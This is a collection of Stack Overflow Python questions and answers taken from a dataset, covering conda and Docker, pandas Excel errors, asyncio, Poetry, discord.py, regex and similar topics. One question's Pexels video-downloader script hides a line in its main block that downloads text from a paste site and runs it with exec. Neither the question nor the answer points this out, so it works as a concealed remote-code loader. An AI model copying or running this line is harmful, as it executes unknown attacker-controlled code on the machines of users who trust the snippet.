Myashka/SO-Python_QA-filtered-2023-tanh_score-after_2023_02 huggingface dataset:
Title: unable to install mkl mkl-service using conda in docker
Tags: python,linux,docker,anaconda,conda

Question: I have docker file like below:
FROM continuumio/miniconda3

RUN conda update -n base -c defaults conda
RUN conda create -c conda-forge -n pymc3_env pymc3 numpy theano-pymc mkl mkl-service

COPY ./src /app

WORKDIR /app

CMD ["conda", "run", "-n", "pymc3_env", "python", "ma.py"]

I get the following error:
------                                                                                                                                          
 > [3/5] RUN conda create -c conda-forge -n pymc3_env pymc3 numpy theano-pymc mkl mkl-service:                                                  
#0 0.400 Collecting package metadata (current_repodata.json): ...working... done                                                                
#0 9.148 Solving environment: ...working... failed with repodata from current_repodata.json, will retry with next repodata source.              
#0 9.149 Collecting package metadata (repodata.json): ...working... done                                                                        
#0 45.81 Solving environment: ...working... failed                                                                                              
#0 45.82 
#0 45.82 PackagesNotFoundError: The following packages are not available from current channels:
#0 45.82 
#0 45.82   - mkl-service
#0 45.82   - mkl
#0 45.82 
#0 45.82 Current channels:
#0 45.82 
#0 45.82   - https://conda.anaconda.org/conda-forge/linux-aarch64
#0 45.82   - https://conda.anaconda.org/conda-forge/noarch
#0 45.82   - https://repo.anaconda.com/pkgs/main/linux-aarch64
#0 45.82   - https://repo.anaconda.com/pkgs/main/noarch
#0 45.82   - https://repo.anaconda.com/pkgs/r/linux-aarch64
#0 45.82   - https://repo.anaconda.com/pkgs/r/noarch
#0 45.82 
#0 45.82 To search for alternate channels that may provide the conda package you're
#0 45.82 looking for, navigate to
#0 45.82 
#0 45.82     https://anaconda.org
#0 45.82 
#0 45.82 and use the search bar at the top of the page.
#0 45.82 
#0 45.82 
------
failed to solve: executor failed running [/bin/sh -c conda create -c conda-forge -n pymc3_env pymc3 numpy theano-pymc mkl mkl-service]: exit code: 1


Can anybody help me to understand why conda could not find mkl and mkl-service in conda-forge channel and what do I need to resolve this?
I am using macos as a host, if it is any concern.
Thanks in advance for any help.

Answer: MKL only works for x86_64, that is the Docker image must use the platform linux/amd64. So, either specify --platform=linux/amd64 in the build command line or in the FROM.
Title: How do I get the last message sent by a certain user in a certain channel with discord.py?
Tags: python,discord.py

Question: I am trying to get the last message that user 476686545034674176 sent in channel 1049386904065409054 and when I try to debug it, I either get a weird output or an error that says it is a Nonetype after I got an output that should trigger if it got a message.
I tried:
@client.event
async def on_ready():
    print('Logged in as')
    print(client.user.name)
    print(client.user.id)
    print('------')

    await tree.sync(guild=discord.Object(id=1049253865112997888))

    aviv_venting_about_his_shitass_brothers = client.get_channel(1049386904065409054)
    global last_message
    async for message in aviv_venting_about_his_shitass_brothers.history(limit=1000):
        if message.author.id == 476686545034674176:
            last_message = message

            if last_message is None:
                print('no messages found')
            elif last_message.content == None:
                print('invalid message')
            else:
                print(f'found message {last_message.content}')
                break

There is a line later in the code:
   await interaction.response.send_message(f'aviv last vented at        {datetime.datetime.fromtimestamp(last_message.created_at).strftime("%Y-%m-%d %H:%M:%S")} <@{interaction.user.id}>')

and it gives me this error:
discord.app_commands.errors.CommandInvokeError: Command 'last_vent' raised an exception: TypeError: 'datetime.datetime' object cannot be interpreted as an integer
I expected to get an output when the bot starts up and I either get no output or 'found message'

Answer: Your problem is not that the bot doesn't find a matching message, its problem lies within the execution of the send_message command. Read the error message. You're trying to pass an invalid type for an argument. I am not familiar with the intricacies of discord.py, but if I could hazard a guess, last_message.created_at already is a datetime object.
Title: In Python, what is the difference between `async for x in async_iterator` and `for x in await async_iterator`?
Tags: python,python-3.x,asynchronous,python-asyncio

Question: The subject contains the whole idea. I came accross code sample where it shows something like:
async for item in getItems():
    await item.process()

And others where the code is:
for item in await getItems():
    await item.process()

Is there a notable difference in these two approaches?

Answer: Those are completely different.
This for item in await getItems() won't work (will throw an error) if getItems() is an asynchronous iterator or asynchronous generator, it may be used only if getItems is a coroutine which, in your case, is expected to return a sequence object (simple iterable).
async for is a conventional (and pythonic) way for asynchronous iterations over async iterator/generator.
Title: TA-LIB module has no attribute 'add_all_ta_features'
Tags: python,ta-lib

Question: I'm trying to use TA-lib for a hobby project. I found some code-snippets as reference telling me to do the following;
import talib as ta
ta.add_all_ta_features("some parameters here")

i get the following error when running the code:
ta.add_all_ta_features( AttributeError: module 'talib' has no attribute 'add_all_ta_features'
It looks like i need to manualy add all the features i want as i cant find the attribute .add_all_ta_features in the talib folder.
i've installed TA-Lib and made it a 64-bit library using Visual studio and managed to run TA-Lib in other projects before but have never used the .add_all_ta_features-attribute.
Does anybody know how i can fix this? Google seems to not return any usefull results when searched for this. The documentation i'm following also does not mention anything about this attribute.
i tried using pandas_ta and tried using the Google colab space, but both return the same error.

Answer: Found the problem. I was trying to use TA-Lib as TA, but nowhere was it specified that we need a seperate library, not findable through the python package mangager simply called TA.
Thanks!
Title: Most resource-efficient way to calculate distance between coordinates
Tags: python,pandas

Question: I am trying to find all observations that are located within 100 meters of a set of coordinates.
I have two dataframes, Dataframe1 has 400 rows with coordinates, and for each row, I need to find all the observations from Dataframe2 that are located within 100 meters of that location, and count them. Ideally,
Both the dataframes are formatted like this:
| Y    | X    |  observations_within100m  |
|:----:|:----:|:-------------------------:|
|100   |100   |          22               |
|110   |105   |          25               |
|110   |102   |          11               |


I am looking for the most efficient way to do this computation, as dataframe2 has over a 200 000 dwelling locations. I know it can be done with applying a distance function with something as a for loop but I was wondering what the best method is here.

Answer: If there's a small area you're working on, you could make a grid of all known locations, then for each point precompute a list of which entries in df1 which are withing 100m from that point.
Step 2 would be to go thru the 200k lines df2 and increase the count for the df1 entries found at the point correspondingly.
Otherwise, this problem is similar to collision detection, for which there might be smart implementations. e.g. pygame has one, no idea though how efficient. Depending on how sparse the area is there might be gains thru dividing it into cells, so you'd only have to detect collision/distance for the entries in that cell, decreasing from 400 objects you'd have to check against for each of the 200k.
Hope the answer was helpful and good luck!
Title: Exception encountered while running statement: 'TextPlain' for Glue session
Tags: python,aws-glue

Question: My team is using AWS Glue endpoints to locally develop using VS code notebooks, this morning for some reason - our endpoints get the error below. Its 3  machines (Mac, Linux and Windows) that did not update anything and just suddenly got this error when trying to use the Glue endpoint. Anyone else getting this error? Whats even stranger is that  the fourth developer, who does not have a different setup can still use the endpoint.
If I create a notebook using jupyter notebook and use the glue pyspark kernel there, it will work. Any attempt at updating or redownloading Python / the packages has no effect.
When I add a print to this library I can see the Data object is empty. If I comment this line out I am unable to see outputs from my notebook.
Anyone else getting this error?
The error:
Trying to create a Glue session for the kernel.
Worker Type: G.1X
Number of Workers: 2
Session ID: 6f7ecef2-de6a-44fe-bbfc-bf8b1fa53ce5
Applying the following default arguments:
--glue_kernel_version 0.35
--enable-glue-datacatalog true
--additional-python-modules great-expectations==0.15.17
--conf spark.sql.legacy.parquet.int96RebaseModeInWrite=CORRECTED --conf spark.sql.legacy.parquet.int96RebaseModeInRead=CORRECTED --conf spark.sql.legacy.parquet.datetimeRebaseModeInRead=CORRECTED
--enable-job-insights true
Waiting for session 6f7ecef2-de6a-44fe-bbfc-bf8b1fa53ce5 to get into ready status...
Session 6f7ecef2-de6a-44fe-bbfc-bf8b1fa53ce5 has been created

Exception encountered while running statement: 'TextPlain' 
Traceback (most recent call last):
  File "/home/user/.local/lib/python3.10/site-packages/aws_glue_interactive_sessions_kernel/glue_pyspark/GlueKernel.py", line 163, in do_execute
    self._send_output(statement_output["Data"]["TextPlain"])
KeyError: 'TextPlain'

Answer: I had the same issue but I managed to fix it by
downgrading to python3.9 from python3.10,
updated aws-glue-sessions to 0.37.0 from 0.35.0
and downgrading psutil to 5.9.1.
There could potentially be other issues but those should be apparent in the "Output" tab in VSCode.
Title: How to use mypy to ensure that a NumPy array of floats is passed as function argument?
Tags: python,numpy,numpy-ndarray,mypy

Question: Can mypy check that a NumPy array of floats is passed as a function argument? For the code below mypy is silent when an array of integers or booleans is passed.
import numpy as np
import numpy.typing as npt

def half(x: npt.NDArray[np.cfloat]):
    return x/2

print(half(np.full(4,2.1)))
print(half(np.full(4,6)))    # want mypy to complain about this
print(half(np.full(4,True))) # want mypy to complain about this

Answer: Mypy can check the type of values passed as function arguments, but it currently has limited support for NumPy arrays. You can use the numpy.typing.NDArray type hint, as in your code, to specify that the half function takes a NumPy array of complex floats as an argument. However, mypy will not raise an error if an array of integers or booleans is passed, as it currently cannot perform type-checking on the elements of the array. To ensure that only arrays of complex floats are passed to the half function, you will need to write additional runtime checks within the function to validate the input.
Title: Passing in a dataframe to a stateMachine from Lambda
Tags: python,pandas,amazon-web-services,aws-lambda,aws-step-functions

Question: I have two relatively large dataframes (less than 5MB), which I receive from my front-end as files via my API Gateway. I am able to receive the files and can print the dataframes in my receiver Lambda function. From my Lambda function, I am trying to invoke my state machine (which just cleans up the dataframes and does some processing). However, when passing my dataframe to my step function, I receive the following error:
ClientError: An error occurred (413) when calling the StartExecution operation: HTTP content length exceeded 1049600 bytes

My Receiver Lambda function:
dict = {}
dict['username'] = arr[0]
dict['region'] = arr[1]
dict['country'] = arr[2]
dict['grid'] = arr[3]
dict['physicalServers'] = arr[4] #this is one dataframe in json format
dict['servers'] = arr[5] #this is my second dataframe in json format

client = boto3.client('stepfunctions')
response = client.start_execution(
    stateMachineArn='arn:aws:states:us-west-2:##:stateMachine:MyStateMachineTest',
    name='testStateMachine',
    input= json.dumps(dict)
)

print(response)

Is there something I can do to pass in my dataframes to my step function? The dataframes contain sensitive customer data which I would rather not store in my S3. I realize I can store the files into S3 (directly from my front-end via pre-signed URLs) and then read the files from my step function but this is one of my least preferred approaches.

Answer: Passing them as direct input via input= json.dumps(dict) isn't going to work, as you are finding. You are running up against the size limit of the request. You need to save the dataframes to a file, somewhere the step functions can access it, and then just pass the file paths as input to the step function.
The way I would solve this is to write the data frames to files in the Lambda file system, with some random ID, perhaps the Lambda invocation ID, in the filename. Then have the Lambda function copy those files to an S3 bucket. Finally invoke the step function with the S3 paths as part of the input.
Over on the Step Functions side, have your state machine expect S3 paths for the physicalServers and servers input values, and use those paths to download the files from S3 during state machine execution.
Finally, I would configure an S3 lifecycle policy on the bucket, to remove any objects more than a few days old (or whatever time makes sense for your application) so that the bucket doesn't get large and run up your AWS bill.

An alternative to using S3 would be to use an EFS volume mount in both this Lambda function, and in the Lambda function or (or EC2 or ECS) that your step function is executing. With EFS your code could write and read from it just like a local file system, which would eliminate the steps of copying to/from S3, but you would have to add some code at the end of your step function to clean up the files after you are done since EFS won't do that for you.
Title: psycopg2.errors.InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block, dont know how to fix it
Tags: python,sql,postgresql,psycopg2

Question: I am trying to insert data into my database using psycopg2 and I get this weird error. I tried some things but nothing works. This is my code:
def insert_transaction():
global username
now = datetime.now()
date_checkout = datetime.today().strftime('%d-%m-%Y')
time_checkout = now.strftime("%H:%M:%S")

username = "Peter1"

connection_string = "host='localhost' dbname='Los Pollos Hermanos' user='postgres' password='******'"
conn = psycopg2.connect(connection_string)
cursor = conn.cursor()
try:
    query_check_1 = """(SELECT employeeid FROM employee WHERE username = %s);"""
    cursor.execute(query_check_1, (username,))
    employeeid = cursor.fetchone()[0]
    conn.commit()
except:
    print("Employee error")

try:
    query_check_2 = """SELECT MAX(transactionnumber) FROM Transaction"""
    cursor.execute(query_check_2)
    transactionnumber = cursor.fetchone()[0] + 1
    conn.commit()
except:
    transactionnumber = 1

""""---------INSERT INTO TRANSACTION------------"""


query_insert_transaction = """INSERT INTO transactie (transactionnumber, date, time, employeeemployeeid)
                    VALUES (%s, %s, %s, %s);"""
data = (transactionnumber, date_checkout, time_checkout, employeeid)
cursor.execute(query_insert_transaction, data)
conn.commit()
conn.close()

this is the error:
", line 140, in insert_transaction
cursor.execute(query_insert_transaction, data) psycopg2.errors.InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block

Answer: Executing the conn.rollback() function after checking for errors and executing the code again should help!
Title: In deep learning, can the prediction speed increase as the batch size decreases?
Tags: python,deep-learning,batchsize

Question: We are developing a prediction model using deepchem's GCNModel.
Model learning and performance verification proceeded without problems, but it was confirmed that a lot of time was spent on prediction.
We are trying to predict a total of 1 million data, and the parameters used are as follows.
model = GCNModel(n_tasks=1, mode='regression', number_atom_features=32, learning_rate=0.0001, dropout=0.2, batch_size=32, device=device, model_dir=model_path)
I changed the batch size to improve the performance, and it was confirmed that the time was faster when the value was decreased than when the value was increased.
All models had the same GPU memory usage.
From common sense I know, it is estimated that the larger the batch size, the faster it will be. But can you tell me why it works in reverse?
We would be grateful if you could also let us know how we can further improve the prediction time.

Answer: There are two components regarding the speed:

Your batch size and model size
Your CPU/GPU power in spawning and processing batches

And two of them need to be balanced. For example, if your model finishes prediction of this batch, but the next batch is not yet spawned, you will notice a drop in GPU utilization for a brief moment. Sadly there is no inner metrics that directly tell you this balance - try using time.time() to benchmark your model's prediction as well as the dataloader speed.
However, I don't think that's worth the effort, so you can keep decreasing the batch size up to the point there is no improvement - that's where to stop.
Title: SSIS package fails in SQL server Agent
Tags: python,sql-server,ssis

Question: I have python script to copy data from excel to CSV file. I have created Execute Process Task package in SSIS and deployed to SSISDB. This works fine when i execute in SSIS and in SSISDB manually.However,if i schedule or execute through SQL server agent it fails. I am using proxy account to schedule package. Other "non python SSIS package" runs fine in sql server agent.
Error -

Execute PY Script:Error: In Executing C:\Program
Files\Python311\python.exe"  "\\org\data\project\test.py" at
"\\org\data\project", The process exit code was "1" while the
expected was "0".

Python Script -
print('Start CSV File Conversion') 
import pandas as pd
from pandas import DataFrame, read_csv
file = r'\\\org\data\project\test.xlsm'
dframe = pd.read_excel(file, sheet_name='data')
export_csv = dframe.to_csv( R'\\\org\data\project\test.csv', index=None, header=True, sep='~')
print(dframe)
print('...Completed')

All Files are saved in \\org\data\project
I am learning pyhton. Any inputs will be helpful.
Thank you.

Answer: that doesn't look like ssis related error but python error. Check your code, may be create VS project where you can test it to escape complexity of running through SSIS.
Title: python pandas read_excel error "Value must be either numerical or a string containing a wild card"
Tags: python,excel,pandas

Question: I dont know why this error occurs.
pd.read_excel('data/A.xlsx', usecols=["B", "C"])

Then I get this error:
"Value must be either numerical or a string containing a wild card"

So i change my code use nrows all data
pd.read_excel('data/A.xlsx', usecols=["B","C"], nrows=172033)

Then there is no error and a dataframe is created.
my excel file has 172034 rows, 1st is column name.

Answer: If you deselect all your filters the read_excel function should work.
Title: Kill application in linux using python
Tags: python,linux

Question: I need one help regarding killing application in linux
As manual process I can use command -- ps -ef | grep "app_name" | awk '{print $2}'
It will give me jobids and then I will kill using command " kill -9 jobid".
I want to have python script which can do this task.
I have written code as
import os
os.system("ps -ef | grep app_name | awk '{print $2}'")

this collects jobids. But it is in "int" type. so I am not able to kill the application.
Can you please here?
Thank you

Answer: To kill a process in Python, call os.kill(pid, sig), with sig = 9 (signal number for SIGKILL) and pid = the process ID (PID) to kill.
To get the process ID, use os.popen instead of os.system above. Alternatively, use subprocess.Popen(..., stdout=subprocess.PIPE). In both cases, call the .readline() method, and convert the return value of that to an integer with int(...).
Title: Current Python version (3.9.7) is not allowed by the project (^3.11)
Tags: python,python-poetry

Question: We have a poetry project with a pyproject.toml file like this:
[tool.poetry]
name = "daisy"
version = "0.0.2"
description = ""
authors = [""]

[tool.poetry.dependencies]
python = "^3.9"
pandas = "^1.5.2"
DateTime = "^4.9"
names = "^0.3.0"
uuid = "^1.30"
pyyaml = "^6.0"
psycopg2-binary = "^2.9.5"
sqlalchemy = "^2.0.1"
pytest = "^7.2.0"

[tool.poetry.dev-dependencies]
jupyterlab = "^3.5.2"
line_profiler = "^4.0.2"
matplotlib = "^3.6.2"
seaborn = "^0.12.1"

[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"

When I change the file to use Python 3.11 and run poetry update we get the following error:
Current Python version (3.9.7) is not allowed by the project (^3.11).
Please change python executable via the "env use" command.

I only have one env:
> poetry env list
daisy-Z0c0FuMJ-py3.9 (Activated)

Strangely this issue does not occur on my Macbook, only on our Linux machine.

Answer: Poetry cannot update the Python version of an existing venv. Remove the existing one and run poetry install again.
Title: Numpy has no float attribute error when using Read_Excel
Tags: python,excel,pandas,numpy

Question: When I try to read a xlsx file using pandas, I receive the error "numpy has no float attribute", but I'm not using numpy in my code, I get this error when using the code below
info = pd.read_excel(path_info)
The xlsx file I'm using has just some letters inside of it for test purpouses, there's no numbers or floats.
What I want to know is how can I solve that bug or error.
I tried to create different files, change my info type to specify a pd.dataframe too
Python Version 3.11
Pandas Version 1.5.3

Answer: Had the same problem. Fixed it by updating openpyxl to latest version.
Title: Rolling average Pandas for 3 week period for specific column values
Tags: python,pandas,dataframe

Question: I have a dataframe 'qbPast' which contains nfl player data for a season.
P   Player  Week    Team    Opp Opp Rank    Points  Def TD  Def INT Def Yds/att Year
2   QB  Kyler Murray    2   ARI MIN 14  38.10   1.8125  1.0000  6.9 2021
3   QB  Lamar Jackson   2   BAL KC  6   37.26   1.6875  0.9375  7   2021
5   QB  Tom Brady   2   TB  ATL 28  30.64   1.9375  0.7500  6.8 2021

I am attempting to create a  new rolling average based on the "Points" column for each individual player for each 3 week period, for the first two weeks it should just return the points for that week and after that it should return the average for the 3 week moving period e,g Player A scores 20,30,40,30,40 the average should return 20,30,30,33.3 etc.
My attempt # qbPast['Avg'] = qbPast.groupby('Player')['Points'].rolling(3).mean().reset_index(drop=True) 
The problem is it is only returning the 3 week average for all players I need it to filter by player so that it returns the rolling average for each player, the other players should not affect the rolling average.

Answer: You have to change the .reset_index(drop=True) into .reset_index(0, drop=True) so it is not mixing the players indices together.
Title: Unable to read an Excel file using Pandas
Tags: pandas,openpyxl,xlrd,python-3.11

Question: I can read an Excel file from pandas as usual:
df = pd.read_excel(join("./data", file_name) , sheet_name="Sheet1")

I got the following error:

ValueError: Value must be either numerical or a string containing a
wildcard

What I'm doing wrong?
I'm using: Pandas 1.5.3 + python 3.11.0 + xlrd 2.0.1

Answer: For people like me who are wondering what sort and filter is, it is an option in your Excel viewer. If you are using Microsoft Excel, you can go to the tab "Home" and then to the right side of the tab, you can find Sort & Filter, from there select Clear.
Title: Unable to read an Excel file using Pandas
Tags: pandas,openpyxl,xlrd,python-3.11

Question: I can read an Excel file from pandas as usual:
df = pd.read_excel(join("./data", file_name) , sheet_name="Sheet1")

I got the following error:

ValueError: Value must be either numerical or a string containing a
wildcard

What I'm doing wrong?
I'm using: Pandas 1.5.3 + python 3.11.0 + xlrd 2.0.1

Answer: I got the same issue and then realized that the sheet I was reading is in "filtering" mode. Once I deselect "sort&filter", the read_excel function works.
Title: Python dictionary, list and for-loop bug
Tags: python,function,dictionary,for-loop,tkinter

Question: I'm trying to show a list of elements from a data set in a tkinter window. I want to able to manipulate the elements, by highlighting, deleting etc.
I have this code:
from tkinter import *

window = Tk()
window.geometry("100x100")

#data from API
data_list = [
    ["1", "Lorem"],
    ["2", "Lorem"],
    ["3", "Lorem"],
    ["4", "Lorem"]
]

#create selectable rectangles from data_list with delete buttons
rectangles = {}
delete_buttons = {}

def CreateRectangles():
    i = 0
    for data in data_list:
        rectangles[i] = Canvas(window, bg="#BFBFBF", height=15, width=80)
        rectangles[i].place(x=19, y=20.0 + (i * 19))
        rectangles[i].create_text(5.0, 1.0, anchor="nw", text=str(f'#{data[0]}:{data[1]}'))

        delete_buttons[i] = Label(window, text="X ", bg="#D9D9D9")
        delete_buttons[i].place(x=6, y=20.0 + (i * 19))

        i += 1

CreateRectangles()

#highlight clicked rectangle
def RectangleClick(e, arg):
    #reset how all rectangles look
    for i in rectangles:
        rectangles[i].config(bg="#BFBFBF")
    #highlight the one clicked
    rectangles[arg].config(bg="#999999")

for key in rectangles:
    rectangles[key].bind("<ButtonPress-1>", lambda event, arg=key: RectangleClick(event, arg))

#delete button action
def DeleteClick(e, arg):
    # delete all rectangles and buttons from window
    for rectangle in rectangles:
       rectangles[rectangle].place_forget()
    for delete in delete_buttons:
       delete_buttons[delete].destroy()

    # delete all rectangles and buttons from dictionary
    rectangles.clear()
    delete_buttons.clear()

    # delete the specific data from de data_list
    data_list.pop(arg)

    # re do everything but now the data list has one less item
    CreateRectangles()

for num in delete_buttons:
    delete_buttons[num].bind("<ButtonPress-1>", lambda event, arg=num: DeleteClick(event, arg))

window.mainloop()

It only works the first time. For example, if I delete an item, it doesn't do anything else.
What's wrong?

Answer: Move all the code that binds event handlers inside the CreateRectangles method. Since all the previous rectangles are destroyed, the event handlers need to be attached again.
Title: asyncio.gather doesn't execute my task in same time
Tags: python,python-asyncio

Question: I am using asyncio.gather to run many query to an API. My main goal is to execute them all without waiting one finish for start another one.
async def main():    
    order_book_coroutines = [asyncio.ensure_future(get_order_book_list()) for exchange in exchange_list]
    results = await asyncio.gather(*order_book_coroutines)



async def get_order_book_list():
    print('***1***')
    sleep(10)
    try:
       #doing API query
    except Exception as e:
        pass
    print('***2***')

if __name__ == "__main__":
    asyncio.run(main())

My main problem here is the ouput :
***1***
***2***
***1***
***2***
***1***
***2***

I was waiting something like :
***1***
***1***
***1***
***2***
***2***
***2***

There is a problem with my code ? or i miss understood asyncio.gather utility ?

Answer: Is there a problem with my code? Or I misunderstood the asyncio.gather utility?

No, you did not. The expected output would be shown if you used await asyncio.sleep(10) instead of time.sleep(10) which blocks the main thread for the given time, while the asyncio.sleep blocks only the current coroutine concurrently running the next get_order_book_list of the order_book_coroutines list.
Title: How do I choose video resolution before downloading from Pexels in Python?
Tags: python

Question: I have this code in Python to download videos from Pexels. My problem is i can't change the resolution of the videos that will be downloaded.
import time
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
import os
from requests import get
import requests
from bs4 import BeautifulSoup
from itertools import islice
import moviepy.editor as mymovie
import random
# specify the URL of the archive here
url = "https://www.pexels.com/search/videos/sports%20car/?size=medium"
video_links = []

#getting all video links
def get_video_links():
    options = webdriver.ChromeOptions()
    options.add_argument("--lang=en")
    browser = webdriver.Chrome(executable_path=ChromeDriverManager().install(), options=options)
    browser.maximize_window()
    time.sleep(2)
    browser.get(url)
    time.sleep(5)

    vids = input("How many videos you want to download? ")

    soup = BeautifulSoup(browser.page_source, 'lxml')
    links = soup.findAll("source")
    
    for link in islice(links, int(vids)):
        video_links.append(link.get("src"))
        

    return video_links

#download all videos
def download_video_series(video_links):
    i=1
    for link in video_links:
    # iterate through all links in video_links
    # and download them one by one
    # obtain filename by splitting url and getting last string
        fn = link.split('/')[-1]  
        file_name = fn.split("?")[0]
        print (f"Downloading video: vid{i}.mp4")

        #create response object
        r = requests.get(link, stream = True)
 
        #download started
        with open(f"videos/vid{i}.mp4", 'wb') as f:
            for chunk in r.iter_content(chunk_size = 1024*1024):
                if chunk:
                    f.write(chunk)
    
        print (f"downloaded! vid{i}.mp4")

        i+=1



if __name__ == "__main__":
    x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x)
  #getting all video links
    video_links = get_video_links()

  #download all videos
    download_video_series(video_links)

I searched alot and readed several topics about downloading videos from Pexels but didn't find anyone talking about choosing video reolution when downloading from Pexels using Python.

Answer: Use Pixel API its free with limit:
By default, the API is rate-limited to 200 requests per hour and 20,000 requests per month.
It doesn't make sense to scrape free resource, with free API.
Title: Poetry install on an existing project Error "does not contain any element"
Tags: python,python-poetry

Question: I am using Poetry for the first time.
I have a very simple project. Basically
a_project
|
|--test
|    |---test_something.py
|
|-script_to_test.py

From a project I do poetry init and then poetry install
I get the following
 poetry install
Updating dependencies
Resolving dependencies... (0.5s)

Writing lock file

Package operations: 7 installs, 0 updates, 0 removals

  • Installing attrs (22.2.0)
  • Installing exceptiongroup (1.1.0)
  • Installing iniconfig (2.0.0)
  • Installing packaging (23.0)
  • Installing pluggy (1.0.0)
  • Installing tomli (2.0.1)
  • Installing pytest (7.2.1)

/home/me/MyStudy/2023/pyenv_practice/dos/a_project/a_project does not contain any element

after this I can run poetry run pytest without problem but what does that error message mean?

Answer: create a dir with_your_package_name that u find in the file and an empty __init__.py in project root
delete the poetry.lock and install again
Title: Poetry install on an existing project Error "does not contain any element"
Tags: python,python-poetry

Question: I am using Poetry for the first time.
I have a very simple project. Basically
a_project
|
|--test
|    |---test_something.py
|
|-script_to_test.py

From a project I do poetry init and then poetry install
I get the following
 poetry install
Updating dependencies
Resolving dependencies... (0.5s)

Writing lock file

Package operations: 7 installs, 0 updates, 0 removals

  • Installing attrs (22.2.0)
  • Installing exceptiongroup (1.1.0)
  • Installing iniconfig (2.0.0)
  • Installing packaging (23.0)
  • Installing pluggy (1.0.0)
  • Installing tomli (2.0.1)
  • Installing pytest (7.2.1)

/home/me/MyStudy/2023/pyenv_practice/dos/a_project/a_project does not contain any element

after this I can run poetry run pytest without problem but what does that error message mean?

Answer: My issue got away after pointed correct interpreter in PyCharm. Poetry makes project environment in its own directories and PyCharm didn't link that correct.
I've added new environment in PyCharm and select poetary's just created enviroment in dialogs.
Title: how to match a string allowed "-" appear multiple times with python re?
Tags: python,string,python-re

Question: I have a protein sequence:
`seq = "EIVLTQSPGTLSLSRASQS---VSSSYLAWYQQKPG"
and i want to match two type regions/strings:
the first type is continuous,like TQSPG in seq.
the second type we only know the continuous form, but in fact there may be multiple "-" characters in the middle,for example what i know is  SQSVS, but in seq it is SQS---VS.
what i want to do is to match these two type of string and get the index, forexample TQSPG is (4,9), and for SQSVS is (16,24).
I tried use re.search('TQSPG',seq).span(), it return (4,9), but i don't konw how to deal the second type.

Answer: re.search(r'([SQVS]+-*[SQVS]+)', seq).span()
Assuming that the '-' can will be between the first and last character
Title: how to match a string allowed "-" appear multiple times with python re?
Tags: python,string,python-re

Question: I have a protein sequence:
`seq = "EIVLTQSPGTLSLSRASQS---VSSSYLAWYQQKPG"
and i want to match two type regions/strings:
the first type is continuous,like TQSPG in seq.
the second type we only know the continuous form, but in fact there may be multiple "-" characters in the middle,for example what i know is  SQSVS, but in seq it is SQS---VS.
what i want to do is to match these two type of string and get the index, forexample TQSPG is (4,9), and for SQSVS is (16,24).
I tried use re.search('TQSPG',seq).span(), it return (4,9), but i don't konw how to deal the second type.

Answer: Assuming the order of SQSVS needs to be preserved, I'd propose the regex r'S-*Q-*S-*V-*S'. This will match the sequence SQSVS with any number (might be 0) of hyphens included between either of the letters.
Title: Python Module not found ONLY when .py file is on desktop
Tags: python,macos,python-3.10,modulenotfounderror,file-location

Question: Only for a .py file that is saved on my Desktop, importing some modules (like pandas) fail due to Module not found from an import that happens within the module.
This behaviour doesn't happen when the file is saved to a different location.
Working on a Mac and i made a test.py file that only holds: import pandas as pd
when this test.py is saved on my desktop it generates this error:
Desktop % python3 test.py
Traceback (most recent call last):
  File "/Users/XXX/Desktop/test.py", line 2, in <module>
    import pandas as pd
  File "/Users/XXX/Desktop/pandas/__init__.py", line 22, in <module>
    from pandas.compat import (
  File "/Users/XXX/Desktop/pandas/compat/__init__.py", line 15, in <module>
    from pandas.compat.numpy import (
  File "/Users/XXX/Desktop/pandas/compat/numpy/__init__.py", line 7, in <module>
    from pandas.util.version import Version
  File "/Users/XXX/Desktop/pandas/util/__init__.py", line 1, in <module>
    from pandas.util._decorators import (  # noqa
  File "/Users/XXX/Desktop/pandas/util/_decorators.py", line 14, in <module>
    from pandas._libs.properties import cache_readonly  # noqa
  File "/Users/XXX/Desktop/pandas/_libs/__init__.py", line 13, in <module>
    from pandas._libs.interval import Interval
ModuleNotFoundError: No module named 'pandas._libs.interval'

the weird thing is that if i save the test.py file to any other location on my HD it imports pandas perfectly.
Same thing happens for some other modules. The module im trying to import seems to go oke but it fails on an import that happens from within the module.
running which python3 in console from either the desktop folder or any other folder results in:
/Users/XXXX/.pyenv/shims/python
python3 --version results in Python 3.10.9 for all locations.

Answer: You have a directory named pandas on your desktop.
Python trying to import from this directory instead of the global package named pandas.
You can also see that in the exception, look at the trace, from /Users/XXX/Desktop/test.py the code moves to /Users/XXX/Desktop/pandas/__init__.py and so on.
Just rename the name of the directory on your desktop.
For your own safety, you should not name your local directories with the same names as global packages.
Title: ModuleNotFoundError: No module named 'h5pyViewer'
Tags: python,h5py

Question: I have a question regarding h5pyViewer to view h5 files. I tried pip install h5pyViewer but that didn't work. I checked on Google and it states that h5pyViewer does not work for older versions of Python, but that there are a few solutions on GitHub. I downloaded this with pip install git+https://github.com/Eothred/h5pyViewer.git which finally gave me a successful installation.
Yet, when I want to import the package with import h5pyViewer it gave me the following error: ModuleNotFoundError: No module named 'h5pyViewer'. However when I tried to install it again it says:
Requirement already satisfied: h5pyviewer in c:\users\celin\anaconda3\lib\site-packages (-v0.0.1.15)Note: you may need to restart the kernel to use updated packages.

Any ideas how to get out of this loop or in what other way I could access an .h5 file?

Answer: There could be so many things wrong so it's hard to say what the problem is.

The actual package import has a lowercase "v": h5pyviewer (as seen in your error message).

Your IDE/python runner may not be using your Conda environment (you can select the environment in VSCode, and if you are running a script in the terminal make sure your Conda env is enabled in that terminal)

The GitHub package might be exported from somewhere else.  Try something like from Eothred import h5pyviewer.

Maybe h5pyviewer is not even supposed to be imported this way!


Overall, I don't suggest using this package, it seems like it's broken on Python 3 and not well maintained. The code in GitHub looks sketchy, and very few people use it. A good indicator is usually the number of people that star or use the package, which seems extremely low. Additionally, it doesn't even have a real readme file! It doesn't say how to use it at all. Suggest you try something else like pandas. But if you really want to go with this, you can try the above debugging steps.
Title: Add a data directory outside Python package directory
Tags: python,setuptools,setup.py,python-packaging,python-importlib

Question: Given the following directory structure for a package my_package:
/
├── data/
│   ├── more_data/
│   └── foo.txt
├── my_package/
│   ├── __init__.py
│   └── stuff/
│       └── __init__.py
├── README.md
├── setup.cfg
├── setup.py

How can I make the data/ directory accessible (in the most Pythonic way) from within code, without using __file__ or other hacky solutions? I have tried using data_files in setup.py and the [options.package_data] in setup.cfg to no avail.
I would like to do something like:
dir_data = importlib.resources.files(data)
csv_files = dir_data.glob('*.csv')

EDIT:
